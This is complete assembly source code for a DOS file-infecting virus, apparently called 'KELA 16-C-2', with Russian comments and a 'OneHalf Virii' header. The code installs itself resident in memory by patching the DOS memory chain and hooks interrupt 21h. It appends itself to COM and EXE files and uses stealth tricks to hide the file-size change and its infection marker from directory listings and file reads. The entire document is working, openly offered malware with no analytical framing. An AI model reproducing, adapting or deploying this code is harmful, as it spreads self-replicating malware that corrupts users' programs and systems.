OneHalf  Virii

Alien

; Версия KELA - 16-C-2.

; *********************************************************
; Данный виpус фоpмально является pезидентным , файловым
; виpусом поpажающим COM и EXE (без внутpенних овеpлеев)
; файлы путем дописывания в конец файла. Виpус выполнен
; по технологии ' стелс ' , стандаpтной ( пеpехват 21-го
; пpеpывания ).
; *********************************************************

Len EQU (offset konec - offset Start_Virus) ; Длина вируса.
Memory_V EQU Len/16+20 ; Обьем памяти, неоходимый для зверя.


.8086
.model Tiny
.code

org 100h

; Получить адрес старта в BP.

Start_Virus:

call start1
start1: pop bp

push ds

; Вычислить истинный адрес старта с учетом, что ( E8 00 00 - 3 байта ).

sub bp,offset start1 - offset Start_Virus
push bp
push cs

; Запомнить первоначальное значение регистров.

mov cs:word ptr [Anti+0+bp-100h],ax
mov cs:word ptr [Anti+2+bp-100h],bx
mov cs:word ptr [Anti+4+bp-100h],di
mov cs:word ptr [Anti+6+bp-100h],si

; Проверка на наличие зверька в памяти

push es
push ds

mov ax,0FFFFh
int 21h
push cs
pop ds
mov es,ax
mov di,0100h
mov si,bp
mov cx,1000
rep cmpsb

pop ds
pop es


jnz install_to_memory
jmp already

install_to_memory:


; Проинсталироваться в памяти

alek:


; Запросить требуемый обьем памяти.

mov ah,048h
mov bx,Memory_V
int 21h

; Если свободного блока нет, что бывает чаще всего перейти на метку
; install1

jc install1
dec ax
mov es,ax
jmp Save_to_memory


install1:

; Получить в ES адрес MCB программы.

mov ax,ds
dec ax
mov es,ax

; Если MCB программы последний , то проинсталироваться.

cmp byte ptr es:[00],05Ah
je last_block
jmp already

last_block:

; Сделать последний блок предпоследним.

mov byte ptr es:[00],04Dh
mov ax,es:[03]
sub ax,Memory_V
jc already
mov es:[03],ax

; Уменьшить стек исполняемой программы.

sub word ptr es:[012h],Memory_V
mov es,es:[012h]

; Обозначить свой сегмент, как последний.

mov byte ptr es:[00],05Ah
mov word ptr es:[03],Memory_V


; Получить адрес корневого MCB.

Save_to_memory:

push es
mov ax,05200h
int 21h
mov ax,es:[bx-2]
push ax
pop es
mov ax,es:[01]
pop es

; Обозначить свой блок, как блок принадлежащий системной области MS-DOS.

mov word ptr es:[01],ax

push cs
pop ds

; Перенести свое тело в верхние адреса памяти.

push bp
pop si
mov di,0100h
mov cx,Len/2+10
rep movsw
mov dx,offset start2
push es
push dx
retf

start2:


; mov di,132
; mov ax,es:[di]
; mov cs:word ptr vector,ax
; mov ax,es:[di+2]
; mov cs:word ptr vector+2,ax
; mov es:[di+2],09500h
; mov es:[di],offset main

push es

mov ax,3521h
int 21h
mov cs:word ptr vector,bx
mov cs:word ptr vector+2,es

pop ds
mov dx,offset main
mov ax,2521h
int 21h

mov cs:byte ptr FlagC,0
;
;
already:

pop es
pop bp
pop dx

; Проверить тип файла из которого шла инсталяция.

mov bh,es:byte ptr [FlagF+bp-100h]
cmp bh,0

; Если файл типа COM тогда перейти на already1.

push dx
pop ds
je already1


; Восстановить прежнее значение стека.

cli
add es:word ptr [OldStack+bp-100h],010h
add es:word ptr [OldStack+bp-100h],dx
mov ss,es:word ptr [OldStack+bp-100h]
mov sp,es:word ptr [OldStack+bp-100h+2]
sti

; Расчитать точку входа в EXE файл, для этого
; к стартовому сегмнту DS прибавим 10h и Head2 - поле CS (заголовка).

add dx,010h
add dx,es:word ptr [Head2+bp-100h]
push dx
mov dx,es:word ptr [Head1+bp-100h]
push dx

; Восстановить прежнее значение регистров.

Quit_Init:

mov ax,es:word ptr [Anti+0+bp-100h]
mov bx,es:word ptr [Anti+2+bp-100h]
mov di,es:word ptr [Anti+4+bp-100h]
mov si,es:word ptr [Anti+6+bp-100h]

; Восстановить значение регистра ES , ES = DS.

push ds
pop es

; Передать управление программе носителю ( EXE & COM - файл ).

retf


already1: ; Передача управления программе - носителю ( COM - файл ).

push dx
mov di,0100h
push di

; Восстановить первые байты COM - файла.

mov ax,es:word ptr [CopyHead+0+bp-100h]
mov es:[di],ax
mov ax,es:word ptr [CopyHead+2+bp-100h]
mov es:[di+2],ax

jmp Quit_Init




; *****************************************
; * *
; * РЕЗИДЕНТНАЯ ЧАСТЬ ВИРУСА. *
; * *
; *****************************************
;

main proc far

pushf
cmp ax,0FFFFh
jne present

; Если внутpенняя функция виpуса ( 0FFFFh ) ,
; то возвpатить в AX свой сегмент.

mov ax,cs
popf
iret
present:


; Запомнить все регистры в стеке.

push ax
push bx
push cx
push dx
push si
push di
push bp
push ds
push es

cli
mov cs:word ptr function,ax
cmp ah,043h ; Смена и получение атрибутов.
je COM1
cmp ah,056h ; Переименование файла.
je COM1
cmp ah,04Fh ; Найти следующий каталоговый вход.
je COM9
cmp ah,04Eh ; Найти каталоговый вход по маске.
je COM9
cmp ah,011h ; Найти каталоговый вход по маске через FCB.
je COM9
cmp ah,012h ; Найти следующий каталоговый вход через FCB.
je COM9
cmp ah,03Fh ; Читать из файла.
je COM3F
cmp ah,03Ch ; Создать файл.
je COM9
cmp ah,03Dh ; Открыть файл.
je COM1
cmp ah,040h ; Писать в файл.
je COM7
cmp ah,03Eh ; Закрытие файла.
je COM8
cmp ax,04B00h ; Запуск программы.
je COM
cmp ax,05700h ; Получить вpемя и дату последней модификации.
je COM9

eee_21:

pop es
pop ds
pop bp
pop di
pop si
pop dx
pop cx
pop bx
pop ax

cmp ax,4202h ; Переместить указатель на конец файла.
je COM6
popf

Exit_to_21h:

; Длинный переход на обработчик 21-го прерывания (DOS).

jmp cs:dword ptr [vector]

COM1: jmp COM2

COM7: jmp TRUNCATE_Virus

COM9: jmp exit

COM6: jmp Ls

COM8:

; Если было захвачено имя файла при создании и его хендлер
; то перейти на COM4.

cmp cs:byte ptr FlagC,2
je COM4
jmp eee_21
COM4:

; Если хендлер , закрываемого файла совпадает с захваченным
; то перейти на COM5.

cmp cs:word ptr Hendler,bx
je COM5
jmp eee_21
COM5: mov cs:byte ptr FlagC,1

jmp exit

COM3F: call Test_File_on_Virus
jc eee_21
jmp exit



; Обpаботка файла с пpовеpкой pасшиpения.

COM2:
call Test_Name_Com&Exe
jnc COM
jmp eee_21


COM:

call Infected_File
jmp eee_21


Ls:

; Проверить, является ли данный файл пораженным.

call Test_File_on_Virus
jc exit4202

mov cs:word ptr data_48,dx
mov cs:word ptr data_47,cx
xor cx,cx
xor dx,dx
call intr21
sub ax,Len
sbb dx,0
mov cx,ax
xchg cx,dx
add dx,cs:data_48
adc cx,cs:data_47
mov ax,4200h

exit4202:

popf
jmp Exit_to_21h


TRUNCATE_Virus:

cmp bx,4
jb exit
call Test_File_on_Virus
jc exit

; Прочитать текущую позицию указателя в файле.

xor cx,cx
xor dx,dx
mov ax,4201h
call intr21

mov cs:word ptr data_41,dx
mov cs:word ptr data_40,ax

; Установить указатель на конец файла.

call Lseek_End

; Вычесть из длины файла длину вируса.

sub ax,Len
sbb dx,0

; Сохранить подставляемую длину (DX:AX) в переменной ...

mov cs:word ptr data_42,ax
mov cs:word ptr data_43,dx

; Установить указатель

call Set_Seek_to_Old_Header

push cs
pop ds

; Прочитать истинный заголовок в теле вируса.

call Read_Header

; Установить указатель на начало файла.

call Lseek_Begin

; Записать истинный заголовок в файл.

call Write_Header

mov dx,cs:word ptr data_42
mov cx,cs:word ptr data_43
mov ax,4200h
call intr21

; Выкусить вирус из файла.

call Truncate

; Установить старую позицию указателя файла (SEEK).

call Set_Old_Seek

exit:

; Восстановить старое значение регистров из стека.

pop es
pop ds
pop bp
pop di
pop si
pop dx
pop cx
pop bx
pop ax
popf

call intr21
cli

; Механизм для подстановки регистра флагов, возвращаемого DOS.

pop cs:word ptr dermo
pop cs:word ptr dermo1
pop cs:word ptr dermo2
pushf
push cs:word ptr dermo1
push cs:word ptr dermo

; Запомнить регистры.

push ax
push bx
push es


; Механизм невидимости вируса ( подстановка настоящей длины файла ).

mov bx,ax
mov ax,cs:word ptr function
cmp ah,04fh
je all_s
cmp ah,04eh
je all_s
cmp ah,012h
je all_s1
cmp ah,011h
je all_s1
cmp ah,03Ch ; Создание файла.
je all_s5
cmp ah,03Fh ; Чтение из файла.
jne exit_check_3F
jmp all_s2

exit_check_3F:

cmp ah,03Eh ; Закрытие файла.
jne exit_check_3E
jmp all_s6

exit_check_3E:

cmp ax,05700h
jne exit_check_57
jmp Stealth_Time

exit_check_57:


jmp exit_all

all_s5:

; Перехватить имя созданного файла и его хендлер
; и установить флаг FlagC в 2 (захват в File1 и Hendler)

mov cs:word ptr Hendler,bx
mov cs:word ptr File1+2,ds
mov cs:word ptr File1,dx
mov cs:byte ptr FlagC,2

jmp exit_all


; Обработать , если вызывалась функция 4E или 4F.

all_s:
mov ah,02fh
call intr21
mov ax,es:[bx+016h]
and ax,00011111b
cmp ax,00011111b
jne exit_all_s

; Вычесть из длины файла свою длину ( Len ).

sub es:word ptr [bx+01ah],Len
sbb es:word ptr [bx+01ch],0

; Замаскировать время последней модификации.

and es:byte ptr [bx+016h],11100000b

exit_all_s:

jmp exit_all

; Обработать , если вызывалась функция 11 или 12.

all_s1:
mov ah,02fh
call intr21

; Если FCB расширенный, тогда к смещению указателя на FCB добавить 8.

cmp word ptr es:[bx],0FFh
jne Not_Extend_FCB
add bx,8

Not_Extend_FCB:

mov ax,es:[bx+016h]
and ax,00011111b
cmp ax,00011111b
jne exit_all_s1

; Вычесть из длины файла свою длину ( Len ).

sub es:word ptr [bx+01Ch],Len
sbb es:word ptr [bx+01Eh],0

; Замаскировать время последней модификации.

and es:byte ptr [bx+016h],11100000b

exit_all_s1:

jmp exit_all

loc_91:
jmp loc_95


; Подстановка тела заpаженного файла в пеpвоначальном виде в памяти.

all_s2:
pop es
pop bx
pop ax

push ax
push cx
push dx
push di
push si
push ds
push es


; Сохранить указатель DS:DX на область прочитанных из файла
; данных в переменных ...

mov cs:word ptr data_45,dx
mov cs:word ptr data_46,ds

; Сохранить количество прочитанных байт (AX) в переменной ...

mov cs:word ptr Count_Byte,ax

; Прочитать текущую позицию указателя в файле.

xor cx,cx
xor dx,dx
mov ax,4201h
call intr21
jc loc_91

; Отнять от текущей позиции количество прочитанных байт.

sub ax,cs:word ptr Count_Byte
sbb dx,0

; Сохранить значение указателя файла до чтения из него
; данного блока (DX:AX) в переменной ...

mov cs:word ptr data_41,dx
mov cs:word ptr data_40,ax

; Установить указатель на конец файла.

call Lseek_End

; Вычесть из длины файла длину вируса.

sub ax,Len
sbb dx,0

; Сохранить подставляемую длину (DX:AX) в переменной ...

mov cs:word ptr data_42,ax
mov cs:word ptr data_43,dx

; Если информация начинала считываться в пределах
; первых 64K то продолжить, иначе перейти на loc_93.

cmp cs:word ptr data_41,0
jne loc_93

; Если считана информация из заголовка файла то перейти на loc_97.

cmp cs:word ptr data_40,18h
jb loc_97
loc_93:
mov cx,cs:word ptr data_41
mov dx,cs:word ptr data_40
add dx,cs:word ptr Count_Byte
adc cx,0
cmp cx,cs:word ptr data_43
jb loc_94
ja loc_96
cmp dx,cs:word ptr data_42
ja loc_96
loc_94:
mov cx,cs:word ptr data_41
mov dx,cs:word ptr data_40
add dx,cs:word ptr Count_Byte
adc cx,0
mov ax,4200h
call intr21
loc_95:

; Восстановить регистры из стека.

pop es
pop ds
pop si
pop di
pop dx
pop cx
pop ax
iret
loc_96:
jmp loc_101

loc_97:

; ПОДСТАНОВКА ЗАГОЛОВКА ФАЙЛА В ПАМЯТИ.


; Установить указатель на область, где располагается истинный заголовок.

cmp cs:word ptr Count_Byte,0
je loc_93

call Set_Seek_to_Old_Header

; Прочитать истинный заголовок файла.

push cs
pop ds

call Read_Header
jc loc_93

; Расчитать количество байт, котоpые тpебуется подставить.

cmp ax,18h
jne loc_93
mov cx,cs:word ptr data_40
neg cx
add cx,18h
cmp cx,cs:word ptr Count_Byte
jb loc_98
mov cx,cs:word ptr Count_Byte

loc_98:

; Подставить истинный заголовок в памяти.

mov si,offset tri
add si,cs:word ptr data_40
mov di,cs:word ptr data_45
mov es,cs:word ptr data_46
cld
cmp cx,0
je loc_99
rep movsb
loc_99:
jmp loc_93


loc_101:
mov cx,cs:word ptr data_41
cmp cx,cs:word ptr data_43
ja loc_102
jc loc_104
mov cx,cs:word ptr data_40
cmp cx,cs:word ptr data_42
jb loc_104
loc_102:

call Set_Old_Seek
xor ax,ax

loc_103:
pop es
pop ds
pop si
pop di
pop dx
pop cx
pop cs:word ptr dermo
iret
loc_104:
mov cx,cs:word ptr data_43
mov dx,cs:word ptr data_42
mov ax,4200h
call intr21
sub ax,cs:word ptr data_40
jmp loc_103


all_s6:

; Проверить совпадал ли хендлер перед закрытием
; если не совпадал , то перейти на exit_all.

cmp cs:byte ptr FlagC,1
jne exit_all

pop es
pop bx
pop ax

pushf
push ax
push bx
push cx
push dx
push si
push di
push bp
push ds
push es

; Загрузить в DS:DX указатель на сохраненное при открытии имя файла
; и перейти на обработку.

mov ds,cs:word ptr File1+2
mov dx,cs:word ptr File1
mov cs:byte ptr FlagC,0

call Test_Name_Com&Exe
jnc KU_KU
jmp mud
KU_KU:
call Infected_File


mud:

pop es
pop ds
pop bp
pop di
pop si
pop dx
pop cx
pop bx
pop ax
popf
iret

exit_all:

pop es
pop bx
pop ax

iret

Stealth_Time:

; Замаскировать время последней модификации файла ( 62 секунды ).

and cl,11100000b

jmp exit_all


main endp


;
; ОБЛАСТЬ ФУНКЦИЙ ВИРУСА.
;
; Функция обработки 21-го прерывания.

intr21 proc near

pushf
db 09Ah
vector dd ?
ret

intr21 endp


; ********************************************************
; * *
; * Функция полной обpаботки файла. *
; * *
; ********************************************************


Infected_File proc near

call Effect

; Взять на себя вектор обработчика критических ошибок ( int 24 ).

call Set_Vector_24

; Прочитать атрибуты файла.

mov ax,04300h
call intr21
mov cs:word ptr attr_b,cx
jnc no_err
jmp exit1

; Снять атрибуты файла.

no_err:
mov ax,04301h
xor cx,cx
call intr21
jnc no_no_err
jmp exit1

no_no_err:

; Сохранить указатель на имя файла в стеке.

push ds
push dx

; Открыть файл для записи.

mov ax,03d02h
call intr21
mov bx,ax

; Сохранить время и дату последней модификации файла.

call Keep_Date_Time

; Установить указатель на конец файла.

call Lseek_End

; Сохранить длину файла в переменной EXElen.

mov cs:word ptr EXElen,ax
mov cs:word ptr EXElen+2,dx

; Установить указатель на последние 4 байта.

mov cx,dx
mov dx,ax
sub dx,4
sbb cx,0
mov ax,04200h
call intr21

; Считать последние 4 байта.

push cs
pop ds
mov ah,3fh
mov dx,offset ident
mov cx,4
call intr21

; Проверить , нуждается ли файл в обработке.

mov ax,'~~'
cmp ax,cs:word ptr ident
jne infect1
mov ax,'~~'
cmp ax,cs:word ptr ident+2
jne infect1
jmp meme

infect1:

; Установить указатель на начало файла.

call Lseek_Begin

; Прочитать первые 18h байт файла для опознания типа.

call Read_Header

push cs
pop es
mov si,offset tri
mov di,offset CopyHead
mov cx,018h
rep movsb

; Если файл типа EXE перейти на метку EXE.

mov ax,cs:word ptr tri
cmp ax,'ZM'
jne not_exe
jmp EXE
not_exe:
cmp ax,'MZ'
jne not_exe1

; Файл типа EXE.

EXE:
call Virus_on_Exe_File
jnc meme
jmp restore_time


; Файл типа COM.

not_exe1:

call Virus_on_Com_File
jnc meme
jmp restore_time


meme: ; Метка окончания обработки файла.

; Восстановить время и дату последней модификации файла.

mov ax,05701h
mov cx,cs:word ptr time_t
or cl,011111b
mov dx,cs:word ptr date_d
call intr21

; Закрыть файл.

close_file:

mov ah,3eh
call intr21

; Восстановить из стека указатель на имя файла.

pop dx
pop ds

; Восстановить прежние атрибуты файла.

mov ax,04301h
mov cx,cs:word ptr attr_b
call intr21

exit1:

; Восстановить прежний обработчик критических ошибок.

call Restore_Vector_24

ret

restore_time:

mov ax,05701h
mov cx,cs:word ptr time_t
mov dx,cs:word ptr date_d
call intr21
jmp close_file


Infected_File endp

; ************** Функция обработки EXE - файла **************

Virus_on_Exe_File proc near

clc

; Установить FlagF в 1 ( это означает, что тело носитель EXE - файл).

mov cs:byte ptr FlagF,1

; Установить указатель на конец файла (Длина в DX:AX).

call Lseek_End

; Расчитать новый стартовый адрес EXE - файла
; с помощью формул CS = EXElen/16-HdrSize , IP = EXElen%16,
; где EXElen - длина EXE - файла,
; HdrSize - размер заголовка в 16 байтных параграфах.

mov cx,16
div cx
sub ax,cs:word ptr HdrSize

; Сохранить новое значение CS:IP в переменной Header.

mov cs:word ptr Header,dx
mov cs:word ptr Header+2,ax

; Проверить , имееет ли файл внутренние оверлеи :
; EXElen = (PageP-1)*512+PageL , если это условие выполняется
; файл внутренних оверлеев не имеет.
; PageP - количество 512 байтных страниц , загружаемых в память.
; PageL - количество байт в последней странице.

mov ax,cs:word ptr PageP
dec ax
mov cx,512
mul cx
add ax,cs:word ptr PageL
adc dx,0
cmp dx,cs:word ptr EXElen+2
je infect
stc
ret

infect:

cmp ax,cs:word ptr EXElen
je infect3
stc
ret

infect3:

; Расчитать новое значение переменных PageP и PageL
; с помощью формул PageP = (EXElen + Len)/512+1 , PageL = (EXElen + Len)%512,
; Len - длина вируса.

mov dx,cs:word ptr EXElen+2
mov ax,cs:word ptr EXElen
add ax,Len
adc dx,0

mov cx,512
div cx
inc ax
mov cs:word ptr PageP,ax
mov cs:word ptr PageL,dx

; Расчитать новое значение указателя стека.

mov ax,cs:word ptr Header+2
mov dx,cs:word ptr Header
add dx,Len+50

; Сохранить новое значение указателя стека в переменной SStack.

mov cs:word ptr SStack,ax
mov cs:word ptr SStack+2,dx

; Заразить EXE - файл.

call Virus_to_File
jnc OK_EXE
stc
ret

OK_EXE:

ret

Virus_on_Exe_File endp

; ************** Функция обработки COM - файла **************

Virus_on_Com_File proc near

clc

; Установить флаг типа файла в 0 ( тип - COM ).

mov cs:byte ptr FlagF,0

; Получить длину COM - файла.

call Lseek_End

; Не трогать COM - файл меньше 100 байт.

cmp ax,0100
ja Not_Small
stc
ret

Not_Small:

; Не трогать COM - файл более 65530-Len байт.

cmp ax,65530-Len
jb Not_Big
stc
ret

Not_Big:

sub ax,3
mov cs:byte ptr tri,0E9h
mov cs:word ptr [tri+1],ax

; Заразить COM - файл.

call Virus_to_File
jnc OK_COM
stc
ret

OK_COM:

ret

Virus_on_Com_File endp

; Функция записи виpуса в файл.
; При ошибке устанавливает флаг CF.

Virus_to_File proc near

clc

; Приписать свое тело к файлу.

call Connect

; Проверить, хватило ли места для приписывания вируса.

cmp ax,cx
je Yes_Space_to_Virus

; Если места не хватило, то выкуситься.

mov cx,cs:word ptr EXElen+2
mov dx,cs:word ptr EXElen
mov ax,04200h
call intr21
call Truncate
stc
ret

Yes_Space_to_Virus:

; Установить указатель на начало файла.

call Lseek_Begin

; Записать исправленный заголовок файла.

call Write_Header
ret

Virus_to_File endp

; Функция пристыковки тела вируса к файлу.

Connect proc near

mov dx,offset Start_Virus
mov cx,Len
mov ah,040h
call intr21
ret

Connect endp

; Функция установки файлового указателя на конец файла.

Lseek_End proc near

mov ax,04202h
xor cx,cx
xor dx,dx
call intr21
ret

Lseek_End endp

; Функция установки файлового указателя на начало файла.

Lseek_Begin proc near

mov ax,04200h
xor cx,cx
xor dx,dx
call intr21
ret

Lseek_Begin endp

; Функция получения и сохранения времени и даты последней
; модификации файла.
; Время сохраняется в переменной time_t.
; Дата сохраняется в переменной date_d.

Keep_Date_Time proc near

mov ax,05700h
call intr21
mov cs:word ptr time_t,cx
mov cs:word ptr date_d,dx
ret

Keep_Date_Time endp

; Функция срезания конца файла.

Truncate proc near

mov ah,040h
mov cx,0
call intr21
ret

Truncate endp


; Функция записи исправленного заголовка в файл.

Write_Header proc near

mov ah,040h
mov cx,18h
mov dx,offset tri
call intr21
ret

Write_Header endp

; Функция чтения заголовка файла.

Read_Header proc near

mov ah,3fh
mov dx,offset tri
mov cx,18h
call intr21
ret

Read_Header endp


; Функция установки текущей позиции в файле (SEEK) из сохраненной
; переменной ...

Set_Old_Seek proc near

mov cx,cs:word ptr data_41
mov dx,cs:word ptr data_40
mov ax,4200h
call intr21
ret

Set_Old_Seek endp

;

Set_Seek_to_Old_Header proc near

mov dx,cs:word ptr data_42
mov cx,cs:word ptr data_43
add dx,offset CopyHead-offset Start_Virus
adc cx,0
mov ax,4200h
call intr21
ret

Set_Seek_to_Old_Header endp

; Функция установки обработчика критических ошибок.

Set_Vector_24 proc near

push ds
push bx
push dx
mov ax,3524h
call intr21
mov cs:word ptr vector24,bx
mov cs:word ptr vector24+2,es
push cs
pop ds
mov ax,2524h
mov dx,offset Intr24
call intr21
pop dx
pop bx
pop ds
ret

Set_Vector_24 endp

; Функция восстановления вектора обработчика критических ошибок.

Restore_Vector_24 proc near

push cs:word ptr vector24+2
pop ds
mov dx,word ptr vector24
mov ax,2524h
call intr21
ret

Restore_Vector_24 endp

; Обработчик критических ошибок ( 24-го - прерывания.)

Intr24 proc far

mov al,3 ; При возникновении ошибки , снять запрос с обработки.
iret

Intr24 endp

; Процедура тестирования строки ( сравнение ).

TestName proc near

clc

Next_Char:

mov al,ds:[di]
and al,223
mov ah,cs:[si]
xor ah,50
cmp al,ah
jne BadName
inc di
inc si
loop Next_Char
ret

BadName:

stc
ret

TestName endp

; Функция проверки файла на зараженность вирусом.

Test_File_on_Virus proc near

clc
push ax
push cx
push dx
mov ax,05700h
call intr21
and cx,00011111b
cmp cx,00011111b
pop dx
pop cx
pop ax
jne exit_test_on_virus
ret

exit_test_on_virus:

stc
ret

Test_File_on_Virus endp

; Функция пpовеpки имени файла на pасшиpение
; Выделяет COM и EXE.

Test_Name_Com&Exe proc near

clc

; Проверка имени файла.
; Поиск конца строки имени файла.

mov cx,128
mov al,0
mov di,dx
z1: cmp al,ds:[di]
je z2
inc di
loop z1

; Проверка на кол-во символов в расширении файла.

z2: sub di,4
mov al,'.'
cmp al,ds:[di]
je z3
stc
ret

z3: mov cx,3
inc di
mov si,offset Extension2
push di
call TestName
pop di
jc z4
ret

z4: mov cx,3
mov si,offset Extension1
call TestName

z5:
ret

Test_Name_Com&Exe endp

; Процедура эффекта.

Effect proc near

ret

Effect endp




; ОБЛАСТЬ ДАННЫХ ВИРУСА.

dermo dw ?
dermo1 dw ?
dermo2 dw ?
attr_b dw ? ; Атрибуты файла.
time_t dw ? ; Время последней модификации файла.
date_d dw ? ; Дата последней модификации файла.

tri dw ?
PageL dw ? ; Кол-во байт в последней странице.
PageP dw ? ; Кол-во страниц в EXE - файле.
ReloCnt dw ? ; Количество входов в Relocation Table.
HdrSize dw ? ; Размер заголовка в 16 - байтных параграфах.
MinMem dw ?
MaxMem dw ?
SStack dd ? ; Значение смещения SS:SP EXE - файла.
ChkSum dw ? ; Контрольная сумма EXE - файла.
Header dd ? ; Значение стартового адреса EXE - файла.

CopyHead dw 020CDh
OldPageS dd ?
dd ?
dd ?
OldStack dd ?
dw ?
Head1 dw ?
Head2 dw ?


Extension1 db 'C' XOR 50,'O' XOR 50,'M' XOR 50
Extension2 db 'E' XOR 50,'X' XOR 50,'E' XOR 50

vector24 dd ? ; Старое значение вектора 24-го прерывания.
function dw ? ; Код функции DOS.
EXElen dd 0 ; Длина EXE - файла.


FlagF db 0 ; Флаг типа файла ( COM - 0, EXE - 1 )
FlagC db 0 ; Флаг для захвата File1 и Hendler
Anti dd ? ; Внутренний буфер.
dd ?
Hendler dw ? ; Хендлер созданного файла.
File1 dd ? ; Имя созданного файла.

strin1 db 'K' XOR 75,'E' XOR 75,'L' XOR 75,'A' XOR 75,'-' XOR 75
db '1' XOR 75,'6' XOR 75,'-' XOR 75,'C' XOR 75, 0 XOR 75
string1 label word


ident dd 0
data_40 dw ?
data_41 dw ?
data_42 dw ?
data_43 dw ?
Count_Byte dw ?
data_45 dw ?
data_46 dw ?
data_47 dw ?
data_48 dw ?


string db '~~~~'

konec label word

end Start_Virus